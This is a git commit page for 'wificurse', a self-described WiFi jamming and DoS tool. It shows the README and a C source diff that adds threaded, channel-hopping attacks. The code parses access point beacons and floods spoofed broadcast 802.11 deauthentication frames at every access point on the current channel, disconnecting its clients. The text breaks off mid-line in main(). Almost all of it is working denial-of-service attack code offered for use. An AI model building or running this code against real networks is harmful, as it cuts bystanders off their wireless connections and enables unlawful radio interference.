wificurse

wifi jamming tool
git clone git://git.2f30.org/wificurse
Log | Files | Refs | README | LICENSE

commit e5701cfb781dc126f666517eecea2bfd11bf69c9
parent 75c1fab215abf753349a9dfeb78aba6eb90fa611
Author: oblique <psyberbits@gmail.com>
Date:   Mon,  5 Mar 2012 19:11:22 +0200

attack improved, threading added

Diffstat:
MMakefile | 10+++++++---
MREADME | 12+++++++++---
Asrc/ap_list.c | 88+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/ap_list.h | 57+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/channelset.h | 56++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Msrc/console.c | 115++++++++++++++++---------------------------------------------------------------
Msrc/console.h | 35+++++++----------------------------
Dsrc/dev.c | 26--------------------------
Dsrc/dev.h | 38--------------------------------------
Msrc/iw.c | 90+++++++++++++++++++++++++++++++++++++++++++++++++++++---------------------------
Msrc/iw.h | 26+++++++++++++++++++-------
Msrc/wificurse.c | 289+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++----------------
Msrc/wificurse.h | 25+++++++++++++++++++++----
13 files changed, 578 insertions(+), 289 deletions(-)

diff --git a/Makefile b/Makefile @@ -1,8 +1,12 @@ PREFIX ?= /usr/local CC = $(CROSS_COMPILE)gcc +CFLAGS ?= -O2 SRCS = $(wildcard src/*.c) +HDRS = $(wildcard src/*.h) + OBJS = $(SRCS:%.c=%.o) +LIBS = -lpthread .PHONY: clean all install @@ -16,10 +20,10 @@ endif all: wificurse wificurse: $(OBJS) - $(CC) $(LDFLAGS) -o $@ $(OBJS) + $(CC) $(LDFLAGS) $(LIBS) $(OBJS) -o $@ -%.o: %.c %.h - $(CC) $(CFLAGS) -c -o $@ $< +%.o: %.c $(HDRS) + $(CC) $(CFLAGS) -c $< -o $@ install: all @mkdir -p $(INSTALLDIR)/bin diff --git a/README b/README @@ -12,9 +12,11 @@ apply the patch patches/cfg80211_monitor_mode_channel_fix.patch to the kernel. How to use it: Just run it as root and put as first argument the -card interface. It will put your interface in monitor mode automatically, -it will start DoSing and change channel every 3 seconds. The channel -range is 1 - 13. +card interface. It will automatically put your interface in monitor +mode and it will listen at channel range 1-14. If there is no AP in the +channel, it will change channel every 1 second, or else it will start +the attack which it takes approximately 30 seconds. After that it will +change channel. compile: @@ -22,3 +24,6 @@ compile: install: make PREFIX=/usr install + +ARM cross-compile: + make CROSS_COMPILE=arm-none-linux-gnueabi- +\ No newline at end of file diff --git a/src/ap_list.c b/src/ap_list.c @@ -0,0 +1,88 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) 2012 oblique + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#include <stdlib.h> +#include <string.h> +#include <time.h> +#include "iw.h" +#include "error.h" +#include "ap_list.h" + + +void init_ap_list(struct ap_list *apl) { + apl->head = NULL; + apl->tail = NULL; +} + +void free_ap_list(struct ap_list *apl) { + struct access_point *tmp; + + while (apl->head != NULL) { + tmp = apl->head; + apl->head = apl->head->next; + free(tmp); + } + + apl->head = apl->tail = NULL; +} + +void link_ap(struct ap_list *apl, struct access_point *ap) { + if (apl->head == NULL) + apl->head = apl->tail = ap; + else { + ap->prev = apl->tail; + apl->tail->next = ap; + apl->tail = ap; + } +} + +void unlink_ap(struct ap_list *apl, struct access_point *ap) { + if (ap->prev) + ap->prev->next = ap->next; + else + apl->head = ap->next; + if (ap->next) + ap->next->prev = ap->prev; + else + apl->tail = ap->prev; +} + +int add_or_update_ap(struct ap_list *apl, struct ap_info *api) { + struct access_point *ap; + + ap = apl->head; + while (ap != NULL) { + if (memcmp(ap->info.bssid, api->bssid, IFHWADDRLEN) == 0) + break; + ap = ap->next; + } + + if (ap == NULL) { + ap = malloc(sizeof(*ap)); + if (ap == NULL) + return_error("malloc"); + + memset(ap, 0, sizeof(*ap)); + memcpy(&ap->info, api, sizeof(ap->info)); + link_ap(apl, ap); + } + + ap->last_beacon_tm = time(NULL); + + return 0; +} diff --git a/src/ap_list.h b/src/ap_list.h @@ -0,0 +1,57 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) 2012 oblique + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#ifndef AP_LIST_H +#define AP_LIST_H + +#include <stdint.h> +#include <time.h> +#include <sys/socket.h> +#include <linux/wireless.h> + + +#define ESSID_LEN 32 + +struct ap_info { + int chan; + uint8_t bssid[IFHWADDRLEN]; + uint8_t essid[ESSID_LEN+1]; +}; + +struct access_point { + volatile unsigned int num_of_deauths; + time_t last_beacon_tm; + uint16_t sequence:12; + struct ap_info info; + struct access_point *next; + struct access_point *prev; +}; + +struct ap_list { + struct access_point *head; + struct access_point *tail; +}; + + +void init_ap_list(struct ap_list *apl); +void free_ap_list(struct ap_list *apl); +void link_ap(struct ap_list *apl, struct access_point *ap); +void unlink_ap(struct ap_list *apl, struct access_point *ap); +int add_or_update_ap(struct ap_list *apl, struct ap_info *api); + +#endif diff --git a/src/channelset.h b/src/channelset.h @@ -0,0 +1,56 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) 2012 oblique + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#ifndef CHANNELSET_H +#define CHANNELSET_H + +#include <stdint.h> + +#define CHANNEL_MAX 255 +typedef volatile uint32_t channelset_t[8]; + +static inline void channel_zero(channelset_t *cs) { + uint32_t *c = (uint32_t*)cs; + c[0] = c[1] = c[2] = c[3] = 0; + c[4] = c[5] = c[6] = c[7] = 0; +} + +static inline void channel_set(channelset_t *cs, uint8_t chan) { + uint32_t *c = (uint32_t*)cs; + c[chan/32] |= 1 << (chan % 32); +} + +static inline void channel_unset(channelset_t *cs, uint8_t chan) { + uint32_t *c = (uint32_t*)cs; + c[chan/32] &= ~(1 << (chan % 32)); +} + +static inline int channel_isset(channelset_t *cs, uint8_t chan) { + uint32_t *c = (uint32_t*)cs; + return !!(c[chan/32] & (1 << (chan % 32))); +} + +static inline void channel_copy(channelset_t *dest, channelset_t *src) { + uint32_t i, *dc, *sc; + dc = (uint32_t*)dest; + sc = (uint32_t*)src; + for (i=0; i<8; i++) + dc[i] = sc[i]; +} + +#endif diff --git a/src/console.c b/src/console.c @@ -18,115 +18,46 @@ #include <stdio.h> #include <stdlib.h> -#include <string.h> -#include <time.h> -#include "dev.h" -#include "error.h" +#include "iw.h" +#include "ap_list.h" #include "console.h" +#include "wificurse.h" -void init_ap_list(struct ap_list *apl) { - apl->head = NULL; - apl->tail = NULL; -} - -void free_ap_list(struct ap_list *apl) { - struct access_point *tmp; - - while (apl->head != NULL) { - tmp = apl->head; - apl->head = apl->head->next; - free(tmp); - } - - apl->head = apl->tail = NULL; -} - -int add_or_update_ap(struct ap_list *apl, uint8_t *bssid) { - struct access_point *ap; - - ap = apl->head; - while (ap != NULL) { - if (memcmp(ap->bssid, bssid, sizeof(ap->bssid)) == 0) - break; - ap = ap->next; - } - - if (ap == NULL) { - ap = malloc(sizeof(*ap)); - if (ap == NULL) - return_error("malloc"); - - memset(ap, 0, sizeof(*ap)); - memcpy(ap->bssid, bssid, sizeof(ap->bssid)); - - if (apl->head == NULL) - apl->head = apl->tail = ap; - else { - ap->prev = apl->tail; - apl->tail->next = ap; - apl->tail = ap; - } - } - - ap->last_beacon_tm = time(NULL); - ap->deauth = 1; - ap->num_of_deauth++; - - return 0; -} - -void clear_deauth(struct ap_list *apl) { - struct access_point *ap; - - ap = apl->head; - while (ap != NULL) { - ap->deauth = 0; - ap = ap->next; - } -} - -void unlink_ap(struct ap_list *apl, struct access_point *ap) { - if (ap->prev) - ap->prev->next = ap->next; - else - apl->head = ap->next; - if (ap->next) - ap->next->prev = ap->prev; - else - apl->tail = ap->prev; -} - void clear_scr() { printf("\033[2J\033[1;1H"); fflush(stdout); } -void update_scr(struct ap_list *apl, struct dev *dev) { - struct access_point *ap, *tmp; +void update_scr(struct ap_list *apl, struct iw_dev *dev) { + struct access_point *ap; /* move cursor at colum 1 row 1 */ printf("\033[1;1H"); - printf("[ Channel: %3d ]\n\n", dev->chan); - printf("Deauth BSSID Number of Deauth\n\n"); + printf("\n CH %3d ][ WiFi Curse v" VERSION "\n\n", dev->chan); + printf(" Deauth " + "BSSID " + " CH " + "ESSID\n\n"); ap = apl->head; while (ap != NULL) { - if (time(NULL) - ap->last_beacon_tm >= 60) { - tmp = ap; - ap = ap->next; - unlink_ap(apl, tmp); - free(tmp); - continue; - } - if (ap->deauth) - printf(RED_COLOR("*")); + /* erase whole line */ + printf("\033[2K"); + if (ap->info.chan == dev->chan) + printf(RED_COLOR "*" RESET_COLOR); else printf(" "); - printf(" %02x:%02x:%02x:%02x:%02x:%02x", ap->bssid[0], ap->bssid[1], - ap->bssid[2], ap->bssid[3], ap->bssid[4], ap->bssid[5]); - printf(" %d\n", ap->num_of_deauth); + printf(" %11d", ap->num_of_deauths); + printf(" %02x:%02x:%02x:%02x:%02x:%02x", ap->info.bssid[0], + ap->info.bssid[1], ap->info.bssid[2], ap->info.bssid[3], + ap->info.bssid[4], ap->info.bssid[5]); + printf(" %3d ", ap->info.chan); + if (ap->info.essid[0] == '\0') { + printf(" <hidden>\n"); + } else + printf(" %s\n", ap->info.essid); ap = ap->next; } diff --git a/src/console.h b/src/console.h @@ -19,35 +19,14 @@ #ifndef CONSOLE_H #define CONSOLE_H -#include <stdint.h> -#include <time.h> -#include <sys/socket.h> -#include <linux/wireless.h> -#include "dev.h" - - -struct access_point { - int deauth; - unsigned int num_of_deauth; - time_t last_beacon_tm; - uint8_t bssid[IFHWADDRLEN]; - struct access_point *next; - struct access_point *prev; -}; - -struct ap_list { - struct access_point *head; - struct access_point *tail; -}; - - -void init_ap_list(struct ap_list *apl); -int add_or_update_ap(struct ap_list *apl, uint8_t *bssid); -void unlink_ap(struct ap_list *apl, struct access_point *ap); -void clear_deauth(struct ap_list *apl); +#include "iw.h" +#include "ap_list.h" + + void clear_scr(); -void update_scr(struct ap_list *apl, struct dev *dev); +void update_scr(struct ap_list *apl, struct iw_dev *dev); -#define RED_COLOR(str) "\033[1;31m" str "\033[0m" +#define RED_COLOR "\033[1;31m" +#define RESET_COLOR "\033[0m" #endif diff --git a/src/dev.c b/src/dev.c @@ -1,26 +0,0 @@ -/* - wificurse - WiFi DoS tool - Copyright (C) 2012 oblique - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see <http://www.gnu.org/licenses/>. -*/ - -#include <string.h> -#include "dev.h" - - -void init_dev(struct dev *dev) { - memset(dev, 0, sizeof(*dev)); - dev->fd = -1; -} diff --git a/src/dev.h b/src/dev.h @@ -1,38 +0,0 @@ -/* - wificurse - WiFi DoS tool - Copyright (C) 2012 oblique - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see <http://www.gnu.org/licenses/>. -*/ - -#ifndef DEV_H -#define DEV_H - -#include <sys/socket.h> -#include <linux/wireless.h> - - -struct dev { - char ifname[IFNAMSIZ+1]; - int ifindex; - int fd; - int chan; - struct ifreq old_flags; - struct iwreq old_mode; -}; - - -void init_dev(struct dev *dev); - -#endif diff --git a/src/iw.c b/src/iw.c @@ -27,10 +27,16 @@ #include "iw.h" +void iw_init_dev(struct iw_dev *dev) { + memset(dev, 0, sizeof(*dev)); + dev->fd_in = -1; + dev->fd_out = -1; +} + /* man 7 netdevice * man 7 packet */ -int iw_open(struct dev *dev) { +int iw_open(struct iw_dev *dev) { struct ifreq ifr; struct iwreq iwr; struct sockaddr_ll sll; @@ -40,19 +46,27 @@ int iw_open(struct dev *dev) { fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (fd < 0) return_error("socket"); - dev->fd = fd; + dev->fd_in = fd; + + dev->fd_out = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); + if (dev->fd_out < 0) + return_error("socket"); /* save current interface flags */ memset(&dev->old_flags, 0, sizeof(dev->old_flags)); strncpy(dev->old_flags.ifr_name, dev->ifname, sizeof(dev->old_flags.ifr_name)-1); - if (ioctl(fd, SIOCGIFFLAGS, &dev->old_flags) < 0) + if (ioctl(fd, SIOCGIFFLAGS, &dev->old_flags) < 0) { + dev->old_flags.ifr_name[0] = '\0'; return_error("ioctl(SIOCGIFFLAGS)"); + } /* save current interface mode */ memset(&dev->old_mode, 0, sizeof(dev->old_mode)); strncpy(dev->old_mode.ifr_name, dev->ifname, sizeof(dev->old_mode.ifr_name)-1); - if (ioctl(fd, SIOCGIWMODE, &dev->old_mode) < 0) + if (ioctl(fd, SIOCGIWMODE, &dev->old_mode) < 0) { + dev->old_mode.ifr_name[0] = '\0'; return_error("ioctl(SIOCGIWMODE)"); + } /* set interface down (ifr_flags = 0) */ memset(&ifr, 0, sizeof(ifr)); @@ -77,42 +91,59 @@ int iw_open(struct dev *dev) { return_error("ioctl(SIOCGIFINDEX)"); dev->ifindex = ifr.ifr_ifindex; - /* bind interface to socket */ + /* bind interface to fd_in socket */ memset(&sll, 0, sizeof(sll)); sll.sll_family = AF_PACKET; sll.sll_ifindex = dev->ifindex; sll.sll_protocol = htons(ETH_P_ALL); - if (bind(fd, (struct sockaddr*)&sll, sizeof(sll)) < 0) + if (bind(dev->fd_in, (struct sockaddr*)&sll, sizeof(sll)) < 0) + return_error("bind(%s)", dev->ifname); + + /* bind interface to fd_out socket */ + if (bind(dev->fd_out, (struct sockaddr*)&sll, sizeof(sll)) < 0) return_error("bind(%s)", dev->ifname); - /* enable promiscuous mode */ + shutdown(dev->fd_in, SHUT_WR); + shutdown(dev->fd_out, SHUT_RD); + + /* set fd_in in promiscuous mode */ memset(&mreq, 0, sizeof(mreq)); mreq.mr_ifindex = dev->ifindex; mreq.mr_type = PACKET_MR_PROMISC; - if (setsockopt(fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0) + if (setsockopt(dev->fd_in, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0) return_error("setsockopt(PACKET_MR_PROMISC)"); return 0; } -void iw_close(struct dev *dev) { +void iw_close(struct iw_dev *dev) { struct ifreq ifr; - if (dev->fd == -1) + if (dev->fd_in == -1) return; - /* set interface down (ifr_flags = 0) */ - memset(&ifr, 0, sizeof(ifr)); - strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1); - ioctl(dev->fd, SIOCSIFFLAGS, &ifr); - /* restore old mode */ - ioctl(dev->fd, SIOCSIWMODE, &dev->old_mode); - /* restore old flags */ - ioctl(dev->fd, SIOCSIFFLAGS, &dev->old_flags); - close(dev->fd); + if (dev->fd_out == -1) { + close(dev->fd_in); + return; + } + + if (dev->old_flags.ifr_name[0] != '\0') { + /* set interface down (ifr_flags = 0) */ + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1); + ioctl(dev->fd_in, SIOCSIFFLAGS, &ifr); + /* restore old mode */ + if (dev->old_mode.ifr_name[0] != '\0') + ioctl(dev->fd_in, SIOCSIWMODE, &dev->old_mode); + /* restore old flags */ + ioctl(dev->fd_in, SIOCSIFFLAGS, &dev->old_flags); + } + + close(dev->fd_in); + close(dev->fd_out); } -ssize_t iw_write(int fd, void *buf, size_t count) { +ssize_t iw_write(struct iw_dev *dev, void *buf, size_t count) { unsigned char *pbuf, *pkt; struct radiotap_hdr *rt_hdr; struct write_radiotap_data *w_rt_data; @@ -137,7 +168,7 @@ ssize_t iw_write(int fd, void *buf, size_t count) { /* packet */ memcpy(pkt, buf, count); - r = send(fd, pbuf, rt_hdr->len + count, 0); + r = send(dev->fd_out, pbuf, rt_hdr->len + count, 0); if (r < 0) { free(pbuf); return_error("send"); @@ -149,12 +180,12 @@ ssize_t iw_write(int fd, void *buf, size_t count) { return r > 0 ? r : ERRAGAIN; } -ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) { +ssize_t iw_read(struct iw_dev *dev, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) { struct radiotap_hdr *rt_hdr; int r; /* read packet */ - r = recv(fd, buf, count, 0); + r = recv(dev->fd_in, buf, count, 0); if (r < 0) return_error("recv"); @@ -168,9 +199,8 @@ ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) return r; } -int iw_can_change_channel(struct dev *dev) { +int iw_can_change_channel(struct iw_dev *dev) { struct iwreq iwr; - ssize_t ret; /* set channel */ memset(&iwr, 0, sizeof(iwr)); @@ -178,30 +208,30 @@ int iw_can_change_channel(struct dev *dev) { iwr.u.freq.flags = IW_FREQ_FIXED; iwr.u.freq.m = 1; - if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0) + if (ioctl(dev->fd_in, SIOCSIWFREQ, &iwr) < 0) return 0; - if (ioctl(dev->fd, SIOCGIWFREQ, &iwr) < 0) + if (ioctl(dev->fd_in, SIOCGIWFREQ, &iwr) < 0) return 0; /* channel 1 frequency is 2412 */ return iwr.u.freq.m == 2412; } -int iw_set_channel(struct dev *dev, int chan) { +int iw_set_channel(struct iw_dev *dev, int chan) { struct iwreq iwr; ssize_t ret; /* discard packets that are in kernel packet queue */ ret = 0; while (ret != -1) - ret = recv(dev->fd, NULL, 0, MSG_DONTWAIT); + ret = recv(dev->fd_in, NULL, 0, MSG_DONTWAIT); /* set channel */ memset(&iwr, 0, sizeof(iwr)); strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1); iwr.u.freq.flags = IW_FREQ_FIXED; iwr.u.freq.m = chan; - if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0) + if (ioctl(dev->fd_in, SIOCSIWFREQ, &iwr) < 0) return_error("ioctl(SIOCSIWFREQ)"); dev->chan = chan; diff --git a/src/iw.h b/src/iw.h @@ -20,7 +20,8 @@ #define IW_H #include <stdint.h> -#include "dev.h" +#include <sys/socket.h> +#include <linux/wireless.h> struct radiotap_hdr { @@ -41,12 +42,23 @@ struct write_radiotap_data { #define RADIOTAP_F_TX_FLAGS_NOACK 0x0008 #define RADIOTAP_F_TX_FLAGS_NOSEQ 0x0010 +struct iw_dev { + char ifname[IFNAMSIZ+1]; + int ifindex; + int fd_in; + int fd_out; + volatile int chan; + struct ifreq old_flags; + struct iwreq old_mode; +}; -int iw_open(struct dev *dev); -void iw_close(struct dev *dev); -ssize_t iw_write(int fd, void *buf, size_t count); -ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz); -int iw_can_change_channel(struct dev *dev); -int iw_set_channel(struct dev *dev, int chan); + +void iw_init_dev(struct iw_dev *dev); +int iw_open(struct iw_dev *dev); +void iw_close(struct iw_dev *dev); +ssize_t iw_write(struct iw_dev *dev, void *buf, size_t count); +ssize_t iw_read(struct iw_dev *dev, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz); +int iw_can_change_channel(struct iw_dev *dev); +int iw_set_channel(struct iw_dev *dev, int chan); #endif diff --git a/src/wificurse.c b/src/wificurse.c @@ -22,18 +22,32 @@ #include <string.h> #include <poll.h> #include <signal.h> -#include "dev.h" +#include <pthread.h> +#include <time.h> +#include <sys/time.h> #include "iw.h" #include "error.h" #include "console.h" +#include "ap_list.h" +#include "channelset.h" #include "wificurse.h" -int send_deauth(int fd, uint8_t *ap_mac) { +static volatile int stop; + +struct deauth_thread_args { + struct ap_list *apl; + struct iw_dev *dev; + pthread_mutex_t *mutex_chan; + pthread_mutex_t *mutex_list; + channelset_t *chans_fixed; + channelset_t *chans; +}; + +int send_deauth(struct iw_dev *dev, struct access_point *ap) { struct mgmt_frame *deauth; uint16_t *reason; ssize_t r; - int i; deauth = malloc(sizeof(*deauth) + sizeof(*reason)); if (deauth == NULL) @@ -43,23 +57,20 @@ int send_deauth(int fd, uint8_t *ap_mac) { deauth->fc.subtype = FRAME_CONTROL_SUBTYPE_DEAUTH; /* broadcast mac (ff:ff:ff:ff:ff:ff) */ memset(deauth->dest_mac, '\xff', IFHWADDRLEN); - memcpy(deauth->src_mac, ap_mac, IFHWADDRLEN); - memcpy(deauth->bssid, ap_mac, IFHWADDRLEN); + memcpy(deauth->src_mac, ap->info.bssid, IFHWADDRLEN); + memcpy(deauth->bssid, ap->info.bssid, IFHWADDRLEN); reason = (uint16_t*)&deauth->frame_body; /* reason 7: Class 3 frame received from nonassociated STA */ - *reason = htons(7); - - /* flood the network */ - for (i=0; i<128; i++) { - deauth->sc.sequence = i; - do { - r = iw_write(fd, deauth, sizeof(*deauth) + sizeof(*reason)); - } while (r == ERRAGAIN); - if (r < 0) { - free(deauth); - return r; - } - usleep(1000); + *reason = 7; + + /* send deauth */ + deauth->sc.sequence = ap->sequence++; + do { + r = iw_write(dev, deauth, sizeof(*deauth) + sizeof(*reason)); + } while (r == ERRAGAIN); + if (r < 0) { + free(deauth); + return r; } free(deauth); @@ -67,13 +78,15 @@ int send_deauth(int fd, uint8_t *ap_mac) { return 0; } -int read_bssid(int fd, uint8_t *bssid) { - uint8_t buf[256], *pkt; +int read_ap_info(struct iw_dev *dev, struct ap_info *api) { + uint8_t buf[4096], *pkt; size_t pkt_sz; - ssize_t r; + ssize_t r, tmp, n; struct mgmt_frame *beacon; + struct beacon_frame_body *beacon_fb; + struct info_element *beacon_ie; - r = iw_read(fd, buf, sizeof(buf), &pkt, &pkt_sz); + r = iw_read(dev, buf, sizeof(buf), &pkt, &pkt_sz); if (r < 0) return r; @@ -81,22 +94,121 @@ int read_bssid(int fd, uint8_t *bssid) { /* if it's a beacon packet */ if (beacon->fc.subtype == FRAME_CONTROL_SUBTYPE_BEACON) { - memcpy(bssid, beacon->bssid, IFHWADDRLEN); + memcpy(api->bssid, beacon->bssid, IFHWADDRLEN); + beacon_fb = (struct beacon_frame_body*)beacon->frame_body; + beacon_ie = beacon_fb->infos; + api->essid[0] = '\0'; + n = 0; + + /* parse beacon */ + while (1) { + if (beacon_ie->id == INFO_ELEMENT_ID_SSID) { /* SSID found */ + tmp = beacon_ie->len < ESSID_LEN ? beacon_ie->len : ESSID_LEN; + memcpy(api->essid, beacon_ie->info, tmp); + api->essid[tmp] = '\0'; + n |= 1; + } else if (beacon_ie->id == INFO_ELEMENT_ID_DS) { /* channel number found */ + api->chan = beacon_ie->info[0]; + n |= 2; + } + if (n == (1|2)) + break; + /* next beacon element */ + beacon_ie = (struct info_element*)&beacon_ie->info[beacon_ie->len]; + if ((uintptr_t)beacon_ie - (uintptr_t)buf >= r) + break; + } + + /* if we didn't found the channel number + * or if the channel number is not in interference range + * then return ERRNODATA + */ + if (!(n & 2) || api->chan < dev->chan-2 || api->chan > dev->chan+2) + return ERRNODATA; + return 0; } return ERRNODATA; } +void *deauth_thread_func(void *arg) { + struct deauth_thread_args *ta = arg; + struct access_point *ap, *tmp; + int i, j, b, tmp_chan; + + while (!stop) { + pthread_mutex_lock(ta->mutex_chan); + b = 0; + for (i=0; i<60 && !stop; i++) { + for (j=0; j<128 && !stop; j++) { + ap = ta->apl->head; + while (ap != NULL && !stop) { + /* if the last beacon we got was 3 mins ago, remove AP */ + if (time(NULL) - ap->last_beacon_tm >= 3*60) { + tmp_chan = ap->info.chan; + tmp = ap; + ap = ap->next; + pthread_mutex_lock(ta->mutex_list); + unlink_ap(ta->apl, tmp); + free(tmp); + /* if AP channel is not in chans_fixed and there isn't any + * other AP that use this channel, remove it from chans. + */ + if (!channel_isset(ta->chans_fixed, tmp_chan)) { + tmp = ta->apl->head; + while (tmp != NULL) { + if (tmp->info.chan == tmp_chan) + break; + tmp = tmp->next; + } + if (tmp == NULL) + channel_unset(ta->chans, tmp_chan); + } + pthread_mutex_unlock(ta->mutex_list); + continue; + } + /* if interface and AP are in the same channel, send deauth */ + if (ap->info.chan == ta->dev->chan) { + if (send_deauth(ta->dev, ap) < 0) { + print_error(); + stop = 2; /* notify main thread that we got an error */ + } + b = 1; + ap->num_of_deauths++; + } + ap = ap->next; + } + /* if we have send deauth, sleep for 2000 microseconds */ + if (b && !stop) + usleep(2000); + } + /* if we have send deauth, sleep for 180000 microseconds */ + if (b && !stop) + usleep(180000); + } + pthread_mutex_unlock(ta->mutex_chan); + /* small delay to avoid fast relock of mutex_chan */ + usleep(100); + } + + return NULL; +} int main(int argc, char *argv[]) { - struct dev dev; struct ap_list apl; - uint8_t bssid[IFHWADDRLEN]; - sigset_t exit_sig; + struct ap_info api; + struct iw_dev dev; struct pollfd pfd[2]; - time_t tm1; - int chan, ret, sigfd; + struct deauth_thread_args ta; + struct timeval tv1, tv2; + suseconds_t msec; + pthread_t deauth_thread; + pthread_mutex_t mutex_chan, mutex_list; + channelset_t chans_fixed, chans; + int ret, sigfd, n, chan; + sigset_t exit_sig; + time_t tm; if (argc != 2) { fprintf(stderr, "\n WiFi Curse v" VERSION " (C) 2012 oblique\n\n"); @@ -133,37 +245,68 @@ int main(int argc, char *argv[]) { pfd[0].events = POLLIN; /* init device */ - init_dev(&dev); + iw_init_dev(&dev); strncpy(dev.ifname, argv[1], sizeof(dev.ifname)-1); if (iw_open(&dev) < 0) { print_error(); - goto _errout; + goto _errout_no_thread; } if (!iw_can_change_channel(&dev)) { fprintf(stderr, "%s can not change channels in monitor mode.\n" "Maybe you need to patch your kernel with:\n" " patches/cfg80211_monitor_mode_channel_fix.patch\n", dev.ifname); - goto _errout; + goto _errout_no_thread; } - pfd[1].fd = dev.fd; + pfd[1].fd = dev.fd_in; pfd[1].revents = 0; pfd[1].events = POLLIN; - tm1 = time(NULL); - chan = 1; - - if (iw_set_channel(&dev, chan) < 0) { + /* init channel set */ + channel_zero(&chans_fixed); + for (n=1; n<=14; n++) + channel_set(&chans_fixed, n); + channel_copy(&chans, &chans_fixed); + + /* set channel */ + n = 0; + chan = 0; + do { + chan = (chan % CHANNEL_MAX) + 1; + if (channel_isset(&chans, chan)) + ret = iw_set_channel(&dev, chan); + else + ret = -1; + /* if fails try next channel */ + } while(++n < CHANNEL_MAX && ret < 0); + if (ret < 0) { print_error(); - goto _errout; + goto _errout_no_thread; + } + + /* start deauth thread */ + stop = 0; + ta.apl = &apl; + ta.dev = &dev; + ta.chans_fixed = &chans_fixed; + ta.chans = &chans; + pthread_mutex_init(&mutex_chan, NULL); + ta.mutex_chan = &mutex_chan; + pthread_mutex_init(&mutex_list, NULL); + ta.mutex_list = &mutex_list; + if (pthread_create(&deauth_thread, NULL, deauth_thread_func, &ta) < 0) { + err_msg("pthread_create"); + goto _errout_no_thread; } clear_scr(); update_scr(&apl, &dev); + tm = time(NULL); + gettimeofday(&tv1, NULL); - while (1) { + while (!stop) { if (poll(pfd, 2, 0) < 0) { err_msg("poll"); goto _errout; @@ -173,46 +316,76 @@ int main(int argc, char *argv[]) { break; if (pfd[1].revents & POLLIN) { - ret = read_bssid(dev.fd, bssid); + ret = read_ap_info(&dev, &api); if (ret < 0 && ret != ERRNODATA) { /* error */ print_error(); goto _errout; - } else if (ret == 0) { /* got BSSID */ - if (add_or_update_ap(&apl, bssid) < 0) { - print_error(); - goto _errout; - } - update_scr(&apl, &dev); - if (send_deauth(dev.fd, bssid) < 0) { + } else if (ret == 0) { /* got infos */ + channel_set(&chans, api.chan); + pthread_mutex_lock(&mutex_list); + if (add_or_update_ap(&apl, &api) < 0) { + pthread_mutex_unlock(&mutex_list); print_error(); goto _errout; } + pthread_mutex_unlock(&mutex_list); } } - /* change channel every 3 seconds */ - if (time(NULL) - tm1 >= 3) { - int n = 0; + gettimeofday(&tv2, NULL); + if (tv2.tv_usec > tv1.tv_usec) + msec = tv2.tv_usec - tv1.tv_usec; + else + msec = tv1.tv_usec - tv2.tv_usec; + + /* update screen every 0.5 second */ + if (msec >= 500000) { + pthread_mutex_lock(&mutex_list); + update_scr(&apl, &dev); + pthread_mutex_unlock(&mutex_list); + gettimeofday(&tv1, NULL); + } + + /* change channel at least every 1 second */ + if (time(NULL) - tm >= 1) { + n = 0; do { - chan = (chan % 13) + 1; - ret = iw_set_channel(&dev, chan); + if (pthread_mutex_trylock(&mutex_chan) != 0) { + n = -1; + break; + } + chan = 